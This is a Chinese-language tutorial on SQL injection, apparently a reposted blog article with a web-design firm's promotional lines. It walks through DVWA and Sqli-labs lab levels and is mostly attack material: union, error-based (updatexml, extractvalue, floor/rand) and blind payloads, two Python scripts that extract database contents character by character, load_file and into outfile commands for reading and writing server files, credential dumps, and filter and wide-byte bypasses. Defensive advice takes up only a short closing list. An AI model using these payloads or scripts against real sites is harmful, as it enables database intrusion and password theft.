本篇內(nèi)容介紹了“SQL注入原理是什么”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
創(chuàng)新互聯(lián)長(zhǎng)期為上千客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開(kāi)放共贏平臺(tái),與合作伙伴共同營(yíng)造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為岐山企業(yè)提供專業(yè)的網(wǎng)站設(shè)計(jì)制作、網(wǎng)站制作,岐山網(wǎng)站改版等技術(shù)服務(wù)。擁有十年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開(kāi)發(fā)。
(1)不嚴(yán)格校驗(yàn) (2)惡意修改 (3)成功拼接并執(zhí)行
1.判斷是否有注入(判斷是否有未嚴(yán)格校驗(yàn)),什么類型的注入
(1)可控參數(shù)的改變能否影響頁(yè)面顯示結(jié)果
(2)輸入的sql語(yǔ)句是否能報(bào)錯(cuò)--能通過(guò)數(shù)據(jù)庫(kù)的報(bào)錯(cuò),可以看到一些語(yǔ)句痕跡
(3)輸入的sql語(yǔ)句能否不報(bào)錯(cuò)--語(yǔ)句能夠成功閉合
2.語(yǔ)句是否能夠被惡意修改
3.是否能否成功執(zhí)行
4.獲取想要的數(shù)據(jù)
or查詢:可查到定義表中的字段值
(1)猜字段數(shù) (select 1,2,3.... 或者 order by 1,order by 3... 都是看報(bào)錯(cuò))
(2)如何獲取庫(kù)名,表名,字段名
(3)權(quán)限問(wèn)題
information_schema這這個(gè)數(shù)據(jù)庫(kù)中保存了MySQL服務(wù)器所有數(shù)據(jù)庫(kù)的信息。 如數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)的表,表欄的數(shù)據(jù)類型與訪問(wèn)權(quán)限等。 再簡(jiǎn)單點(diǎn),這臺(tái)MySQL服務(wù)器上,到底有哪些數(shù)據(jù)庫(kù)、各個(gè)數(shù)據(jù)庫(kù)有哪些表, 每張表的字段類型是什么,各個(gè)數(shù)據(jù)庫(kù)要什么權(quán)限才能訪問(wèn),等等信息都保存在information_schema里面。 information_schema.schemata中的列schema_name記錄了所有數(shù)據(jù)庫(kù)的名字 information_schema.tables中的列table_schema記錄了所有數(shù)據(jù)庫(kù)的名字 information_schema.tables中的列table_name記錄了所有數(shù)據(jù)庫(kù)的表的名字 information_schema.columns中的列table_schema記錄了所有數(shù)據(jù)庫(kù)的名字 information_schema.columns中的列table_name記錄了所有數(shù)據(jù)庫(kù)的表的名字 information_schema.columns中的列column_name記錄了所有數(shù)據(jù)庫(kù)的表的列的名字
MySQL版本5.0 以下沒(méi)有 information_schema 這個(gè)系統(tǒng)表,無(wú)法列表名等,只能暴力跑表名。
5.0 以下是多用戶單操作,5.0 以上是多用戶多操做
example: select concat(table_name) from information_schema.tables where table_schema=database()
(1)基于錯(cuò)誤的注入:判斷注入點(diǎn)?單引號(hào)?
(2)基于布爾的注入:閉合前面的sql語(yǔ)句,構(gòu)造or和and的邏輯語(yǔ)句,-- 用來(lái)注釋后面所有語(yǔ)句
(3)基于union的注入:
user():當(dāng)前用戶名 database():當(dāng)前數(shù)據(jù)庫(kù)名 version():數(shù)據(jù)庫(kù)版本信息
'union select 1,table_schema from information_schema.tables -- hh #查庫(kù)名 'union select 1,table_name from information_shcema.tables where table_schema="..." #查當(dāng)前庫(kù)中所有表 'union select 1,column_name from information_schema.columns where table_name="..." #查當(dāng)前表中所有字段
#concat實(shí)現(xiàn)字段拼接 'union select user,concat(first_name,' ',last_name,' ',password) from users -- ' #group_concat #concat_ws
`(1)extractvalue(xml_document,Xpath_string) 從目標(biāo)XML中返回包含所查詢值的字符串` `(2)Updatexml(xml_document,Xpath_string,new_value) 注入報(bào)錯(cuò)點(diǎn)在Xpath_string 位置,因此其它位置可以任意處理,譬如寫1.`
DVWA Security='low':
1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# 0x7e為~的16進(jìn)制ASCII碼 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(user_id,last_name) from users),0x7e),1)#
其中:
XML_document是string格式,為XML文檔對(duì)象的名稱
Xpath_string(Xpath格式的字符串),自主學(xué)習(xí)。
new_value,string格式,替換查找到的符合條件的數(shù)據(jù)
原理: 利用group by主鍵沖突報(bào)錯(cuò)獲取數(shù)據(jù)庫(kù)信息.
幾個(gè)函數(shù):
floor() #向下取整 rand() #返回(0,1)隨機(jī)值,rand()*2 返回(0,2)隨機(jī)值 floor(rand()*2) # 向下取整則返回值為0或1. group by #分組 count() #返回當(dāng)前的表的所有的記錄數(shù)
舉例:
Sqli-labs Less-11(payload)
uname=admin' union select 1,count(1) from information_schema.tables group by group_concat( floor(rand()*2),(select table_name from information_schema.tables where table_schema='security' )) %23&passwd=123
普通注入不能直接回顯錯(cuò)誤信息。
和時(shí)間盲注相同的是,每次只判斷一個(gè)字符。
?id=1' and substr(database(),1,1)=1 #
示例:
Sqli-labs Less-6
該關(guān)卡只有兩種返回結(jié)果,當(dāng)查詢存在時(shí)返回“You are in...”,否則返回為空。
?id=1' and 1=1 --+
回顯You are in...........
?id=1' and 1=2 --+
不回顯
根據(jù)這種情況,可以由substr()函數(shù)每次判斷一個(gè)字符,python腳本進(jìn)行布爾盲注,具體如下:
import requests s = requests.Session() url = 'http://localhost:8080/sqli-labs/Less-6/' payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,' data = '' for i in range(50): for j in payloads: payload = f"?id=1\" and substr(binary database(),{i},1)='{j}'%23" #payload = f"?id=1\" and substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'%23" #payload = f"?id=1" and substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'%23" #payload = f"?id=1" and substr((select binary group_concat(password,' ') from security.users) ,{i},1)='{j}'%23" if "You are in..........." in s.get(url+payload).text: data += j break print(data)
?id=1' union select(if(substr(database(),1,1))>1,sleep(3),1) #此外還有bench()函數(shù)
示例:
Sqli-labs Less-9
此處可以發(fā)現(xiàn)無(wú)論查詢對(duì)錯(cuò)都只回顯You are in...........
測(cè)試?id=1' and sleep(3)%23 頁(yè)面會(huì)延時(shí)3秒再回顯,判斷為時(shí)間盲注.
編寫腳本進(jìn)行時(shí)間盲注,如下:
import requests url = 'http://localhost:8080/sqli-labs/Less-9/' payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,' data = '' for i in range(50): for j in payloads: payload = f"?id=1' and if((substr(binary database(),{i},1)='{j}'),sleep(1),1)%23" #正確的時(shí)候等待1秒鐘,不正確的時(shí)候直接返回 # payload = f"?id=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(1),1)%23" #payload = f"?id=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(1),1)%23" try: r = requests.get(url+payload, timeout=1) except Exception: data += j print(data) break
注入位置在http請(qǐng)求的cookie處
注入位置在http請(qǐng)求的Referer處
Load_file(filename): 讀取文件并返回改文件的內(nèi)容作為一個(gè)字符串。
使用條件:
A.必須有權(quán)限讀取且文件必須完全可讀
B.欲讀取文件必須在服務(wù)器上
C.必須指定文件的完整路徑(絕對(duì)路徑)
D.欲讀取文件的大小必須小于max_allowed_packet示例:
?id=-1' union select 1,2,Load_file("D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php") --+?
寫文件(into outfile):
?id=-1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php" --+
示例:
Sqli-labs Less-7
測(cè)試發(fā)現(xiàn)id=1'報(bào)錯(cuò),但把后面的語(yǔ)句注釋掉扔報(bào)錯(cuò),還有括號(hào)閉合,發(fā)現(xiàn)加兩個(gè)括號(hào)判斷為(('$id'))閉合,再根據(jù)提示Use outfile…,應(yīng)該是使用導(dǎo)出語(yǔ)句了。
(1)首先判斷是否有權(quán)限:
?id=1')) and (select count(*) from mysql.user)>0 --+
沒(méi)有報(bào)錯(cuò),具有root權(quán)限。
(2)于是將可以數(shù)據(jù)導(dǎo)出, 導(dǎo)出所有表:
?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
(3)導(dǎo)出user表中所有列名:
?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
(4)導(dǎo)出用戶名和密碼
?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
注意:在Mysql中,需要注意路徑轉(zhuǎn)義的問(wèn)題,即用雙斜杠分隔。
(1).繞過(guò)注釋符過(guò)濾(#,--+)
示例:Sqli-labs Less-13
方法一(報(bào)錯(cuò)注入) ?id=1' or (extractvalue(1,concat(0x7e,version()))) or ' ?id=1' or (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) or ' 方法二(閉合后面的內(nèi)容) ?id=' union select 1,' ...
(2).繞過(guò)and-or過(guò)濾
01.大小寫繞過(guò):
or的幾種形式(Or,oR,OR,||) and的幾種形式(And,...,&&) #對(duì)大小寫敏感可使用
02.雙寫繞過(guò)
?id=1' oorrder by 1 --+ 判斷回顯列數(shù)也可用: ?id=1' union select 1,2,3... #(逐個(gè)嘗試比較慢) 之后使用報(bào)錯(cuò)注入即可: ?id=-1' oorr extractvalue(1,concat(0x7e,database())) --+ #(獲取當(dāng)前數(shù)據(jù)庫(kù)名) 或者使用: ?id=-1' || extractvalue(1,concat(0x7e,database())) --+
其他字符代替: %09 TAB 鍵(水平) %0a 新建一行 %0b TAB 鍵(垂直) %0c 新的一頁(yè) %0d return 功能 %a0 空格 /**/ 代替空格 ?id=1' or (內(nèi)容) or (內(nèi)容)' #一種注入的形式
(4).內(nèi)聯(lián)注釋過(guò)濾
形如/*!(關(guān)鍵字)*/
example:
/*!and*/ /*!select*/
(5).特殊字符轉(zhuǎn)義與寬字節(jié)注入
特殊字符轉(zhuǎn)義的三種方法:
(1)自定義轉(zhuǎn)義函數(shù)
function check_addslashes($string){ $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; }
(2)調(diào)用函數(shù) addslashes()
(3)調(diào)用函數(shù) mysql_real_escape_string()
這幾種方法都可能被寬字節(jié)注入繞過(guò)
寬字節(jié)注入原理分析:
以單引號(hào)'為例,它被轉(zhuǎn)義為',我們的目標(biāo)是去掉反斜杠,將'逃逸出來(lái)?,F(xiàn)在我們不輸入',而是輸入%df',被轉(zhuǎn)義后它變成:%df',也相當(dāng)于%df%5c%27(%5c表示反斜杠\ ),之后在數(shù)據(jù)庫(kù)查詢前由于使用了GBK多字節(jié)編碼,%df%5c會(huì)gbk編碼轉(zhuǎn)換成為漢字"運(yùn)",從而使得%27,也就是單引號(hào)逃逸。
寬字節(jié)注入與普通注入payload上的區(qū)別就是:在會(huì)被轉(zhuǎn)義的字符前加上%df,''被吃掉,從而使得被轉(zhuǎn)義字符逃逸。當(dāng)然此處不一定必須是%df,只要(填充的字符+%5c)在GBK編碼中,可以使得被轉(zhuǎn)義字符逃逸就行,之后進(jìn)行后續(xù)注入。
示例:Sqli-labs Less-32
payload1:?id=1'
可以看到此處的單引號(hào)被轉(zhuǎn)義
payload2:?id=1%df'
根本原因:
character_set_client(客戶端的字符集)和 character_set_connection(連接層的字符集)不同,或轉(zhuǎn)換函數(shù)如,iconv、mb_convert_encoding 使用不當(dāng)。
解決方法:
統(tǒng)一數(shù)據(jù)庫(kù)、Web 應(yīng)用、操作系統(tǒng)所使用的字符集,避免解析產(chǎn)生差異,最好都設(shè)置為 UTF-8?;?qū)?shù)據(jù)進(jìn)行正確的轉(zhuǎn)義,如 mysql_real_escape_string+mysql_set_charset 的使用。
(6).二次注入
(7).過(guò)濾函數(shù)繞過(guò)
(1)代碼層
01.黑名單 02.白名單 03.敏感字符過(guò)濾 04.使用框架安全查詢 05.規(guī)范輸出
(2)配置層
01.開(kāi)啟GPC 02.使用UTF-8
(3)物理層
01.WAF 02.數(shù)據(jù)庫(kù)審計(jì) 03.云防護(hù) 04.IPS(入侵防御系統(tǒng))
01.使用安全的API 02.對(duì)輸入的特殊字符進(jìn)行Escape轉(zhuǎn)義處理 03.使用白名單來(lái)規(guī)范化輸入驗(yàn)證方法 04.對(duì)客戶端輸入進(jìn)行控制,不允許輸入SQL注入相關(guān)的特殊字符 05.服務(wù)器端在提交數(shù)據(jù)庫(kù)進(jìn)行SQL查詢之前,對(duì)特殊字符進(jìn)行過(guò)濾、轉(zhuǎn)義、替換、刪除。
“SQL注入原理是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!